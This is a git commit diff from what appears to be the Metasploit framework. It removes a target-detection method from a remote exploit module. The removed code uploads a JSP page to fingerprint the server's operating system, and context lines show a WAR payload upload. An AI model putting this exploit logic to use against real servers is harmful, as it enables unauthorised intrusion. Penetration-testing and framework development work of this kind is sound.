Pick target is not needed...

MS-2855/keylogger-mettle-extension
Pedro Ribeiro 2015-07-18 20:12:49 +01:00
parent 7483e77bba
commit 70a2247941
1 changed files with 0 additions and 30 deletions

View File

@ -77,36 +77,6 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def pick_target
unless target.name == 'Automatic'
return target
end
print_status("#{peer} - Determining target")
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
url = upload_payload(os_finder_payload, false)
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], url),
'method' => 'GET',
'cookie' => @cookie,
'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
})
if res && res.code == 200
if res.body.to_s =~ /Linux/
register_files_for_cleanup('webapps/' + url)
return targets[1]
elsif res.body.to_s =~ /Windows/
register_files_for_cleanup('root/' + url)
return targets[2]
end
end
nil
end
def send_payload(war_payload, tomcat_path, app_base) def send_payload(war_payload, tomcat_path, app_base)
# We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail # We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail
print_status("#{peer} - Uploading WAR file...") print_status("#{peer} - Uploading WAR file...")